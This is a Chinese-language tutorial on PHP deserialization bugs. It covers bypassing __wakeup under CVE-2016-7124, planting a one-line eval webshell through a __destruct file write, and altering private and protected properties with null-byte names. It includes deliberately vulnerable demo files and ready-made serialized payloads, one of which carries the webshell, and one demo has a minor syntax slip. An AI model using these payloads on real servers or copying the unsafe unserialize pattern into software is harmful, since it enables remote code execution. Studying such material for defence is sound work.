PHP反序列化漏洞
PHP反序列化漏洞原理概述-FIRST
1.繞過魔法函數
wakeup()魔法函數
- 在unserialize()反序列化函數執行時會檢測是否存在wakeup()方法,如果存在會先調用wakeup()方法作爲預先準備對象需要的資源,經常用於執行一些初始化操作,或者重現建立數據庫連接等場景
PHP反序列化漏洞CVE-2016-7124
- 當反序列化字符串中,表示屬性個數的值大於真實屬性個數時,會繞過 __wakeup 函數的執行
影響範圍
- PHP5<5.6.25
- PHP7<7.0.10
- 我們當前的PHP環境版本爲5.4.45<5.6.25,存在該反序列化漏洞
1.wakeup()繞過原理demo
//7.php
<?php
class wakeup_bug
{
public $a='wakeup';
function __destruct()
{
echo 'I an not '.$this->a;
}
function __wakeup()
{
echo 'I am '.$this->a.'</br>';
}
}
unserialize($_GET['id']);
?>
構造payload:
我們自己按照這個類的格式,構造出一個序列化後的對象,如下
O:10:"wakeup_bug":1:{s:1:"a";s:6:"wakeup";}
同時我們可以發現 __wakeup()在__destruct()函數之前執行,說明,只要存在了反序列化操作,__wakeup()函數的優先級高。
當屬性個數值大於真實屬性個數值時,可繞過wakeup()函數,我們將自定義的序列化值修改一下,如下
將屬性個數改爲2>真實屬性個數1
O:10:"wakeup_bug":2:{s:1:"a";s:6:"wakeup";}
繞過wakeup()函數成功,只執行了destruct()函數。
2.wakeup()繞過原理demo1
- 在該demo中,__destruct() 中定義了文件操作,打開一個shell.php文件,寫入變量$a的值,然後保存關閉該文件。
- 而 __wakeup() 函數中定義了
foreach()函數:遍歷數組函數
get_object_vars():返回由對象屬性組成的關聯數組
在此處將$this指向的對象的值清空 - 該demo1中有寫入文件操作,這是一個危險操作,當我們能繞過__wakeup()函數,就可以寫入一句話木馬,獲取webshell
//8.php
<?php
class a
{
var $a="test";
function __destruct()
{
$fp=fopen("shell.php","w+")
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup() //清空$a的值
{
foreach(get_object_vars($this) as $b => $c)
{$this->$b=null;}
}
}
?>
由於__wakeup()函數執行先於__destruct()函數,也就是說,在 __destruct()函數執行文件操作 時,而__wakeup()函數已經清空了$a的值,__destruct()函數寫入shell.php文件的爲空值。
此時就需要繞過__wakeup()函數
構造payload
我們自己按照這個類的格式,構造出一個序列化後的對象,對象的屬性值賦予一句話木馬,寫入文件,如下
O:1:"a":1:{s:1:"a";s:27:"<?php @eval($_POST[123]);?>"}
- 木馬植入成功,中國菜刀連接成功
2.private(私有)、protected(保護)屬性外部修改
public屬性可以被外部修改而private、proctected屬性無法被對象外部修改
原理dome
__toString()函數: 把類當做字符串使用時觸發,也就是使用echo打印對象時觸發該函數。
//9.php
<?php
class stundet
{
public $name='BYF';
private $age='20';
protected $sex='boy';
function __toString()
{
return 'name: '.$this->name.'</br>age: '.$this->age.'</br>sex: '.$this->sex;
}
}
$s1=new stundet();
echo $s1.'</br>';
echo serialize($s1);
?>
下圖爲demo執行結果
我們發現,序列化後,private變量,和protected變量的結果與public不一樣
O:7:"stundet":3:{s:4:"name";s:3:"BYF";s:12:"stundetage";s:2:"20";s:6:"*sex";s:3:"boy";}
private:在序列化後屬性名爲,類+變量名,且類使用<0x00>空字符相隔,在頁面回顯中無法看出
proctected:在序列化後屬性名爲,*+變量名,且*
使用<0x00>空字符相隔,在頁面回顯中無法看出
由於序列化值中存在<0x00>空字符,佔用一個字符,在url中%00爲空字符
構造payload
從外部修改private&proctected屬性值
O:7:"stundet":3:{s:4:"name";s:3:"SHY";s:12:"%00stundet%00age";s:2:"19";s:6:"%00*%00sex";s:4:"girl";}